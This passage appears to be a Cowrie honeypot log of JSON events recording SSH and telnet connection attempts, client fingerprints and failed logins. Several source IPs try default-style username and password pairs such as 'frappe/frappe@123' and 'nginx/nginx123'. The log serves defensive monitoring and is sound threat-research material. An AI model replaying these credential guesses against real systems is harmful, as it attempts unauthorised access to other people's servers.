{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:51:59.106294Z","src_ip":"95.38.165.118","session":"1d034a39c609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:00.339683Z","src_ip":"95.38.165.118","session":"1d034a39c609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.97179961204529,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:03.720197Z","src_ip":"69.4.83.194","session":"88e3d38590db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59584,"dst_ip":"10.17.0.5","dst_port":22,"session":"62fe89837b41","protocol":"ssh","message":"New connection: 95.38.165.118:59584 (10.17.0.5:22) [session: 62fe89837b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:03.884971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:04.018879Z","src_ip":"95.38.165.118","session":"62fe89837b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.42159366607666,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:04.103848Z","src_ip":"69.4.83.194","session":"8029312f33be","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:04.239593Z","src_ip":"95.38.165.118","session":"62fe89837b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:06.576200Z","src_ip":"95.38.165.118","session":"62fe89837b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:08.325372Z","src_ip":"95.38.165.118","session":"62fe89837b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48306,"dst_ip":"10.17.0.5","dst_port":22,"session":"2db6163d392c","protocol":"ssh","message":"New connection: 95.38.165.118:48306 (10.17.0.5:22) [session: 2db6163d392c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:09.845314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:09.850542Z","src_ip":"95.38.165.118","session":"2db6163d392c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:10.015877Z","src_ip":"95.38.165.118","session":"2db6163d392c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:10.560673Z","src_ip":"95.38.165.118","session":"2db6163d392c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:15.517254Z","src_ip":"95.38.165.118","session":"2db6163d392c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45530,"dst_ip":"10.17.0.5","dst_port":22,"session":"2913efd2824e","protocol":"ssh","message":"New connection: 95.38.165.118:45530 (10.17.0.5:22) [session: 2913efd2824e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:15.808245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:15.817042Z","src_ip":"95.38.165.118","session":"2913efd2824e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:15.974764Z","src_ip":"95.38.165.118","session":"2913efd2824e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:17.709191Z","src_ip":"95.38.165.118","session":"2913efd2824e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:20.124398Z","src_ip":"95.38.165.118","session":"2913efd2824e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45544,"dst_ip":"10.17.0.5","dst_port":22,"session":"8def449269ea","protocol":"ssh","message":"New connection: 95.38.165.118:45544 (10.17.0.5:22) [session: 8def449269ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:22.117473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:22.222315Z","src_ip":"95.38.165.118","session":"8def449269ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:22.319383Z","src_ip":"95.38.165.118","session":"8def449269ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:23.122902Z","src_ip":"95.38.165.118","session":"8def449269ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:24.300852Z","src_ip":"95.38.165.118","session":"8def449269ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46118,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d50e818c50b","protocol":"ssh","message":"New connection: 95.38.165.118:46118 (10.17.0.5:22) [session: 4d50e818c50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:28.171701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:28.180479Z","src_ip":"95.38.165.118","session":"4d50e818c50b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:28.347882Z","src_ip":"95.38.165.118","session":"4d50e818c50b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:28.858029Z","src_ip":"95.38.165.118","session":"4d50e818c50b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:30.028865Z","src_ip":"95.38.165.118","session":"4d50e818c50b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46122,"dst_ip":"10.17.0.5","dst_port":22,"session":"b597dfe042fb","protocol":"ssh","message":"New connection: 95.38.165.118:46122 (10.17.0.5:22) [session: b597dfe042fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:34.052716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:34.061971Z","src_ip":"95.38.165.118","session":"b597dfe042fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:34.297457Z","src_ip":"95.38.165.118","session":"b597dfe042fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:36.754572Z","src_ip":"95.38.165.118","session":"b597dfe042fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:38.712017Z","src_ip":"95.38.165.118","session":"b597dfe042fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47506,"dst_ip":"10.17.0.5","dst_port":22,"session":"6424480d4332","protocol":"ssh","message":"New connection: 95.38.165.118:47506 (10.17.0.5:22) [session: 6424480d4332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:39.560440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:39.592070Z","src_ip":"95.38.165.118","session":"6424480d4332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:39.718615Z","src_ip":"95.38.165.118","session":"6424480d4332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":59576,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc77e94f426d","protocol":"ssh","message":"New connection: 77.239.106.153:59576 (159.203.135.109:22) [session: cc77e94f426d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:40.056025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:40.060613Z","src_ip":"77.239.106.153","session":"cc77e94f426d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:40.144776Z","src_ip":"77.239.106.153","session":"cc77e94f426d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":38348,"dst_ip":"159.203.135.109","dst_port":22,"session":"d66e64f32f94","protocol":"ssh","message":"New connection: 43.245.97.82:38348 (159.203.135.109:22) [session: d66e64f32f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:40.452379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:40.456765Z","src_ip":"43.245.97.82","session":"d66e64f32f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit@123","message":"login attempt [amit/amit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:52:40.514116Z","src_ip":"77.239.106.153","session":"cc77e94f426d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha5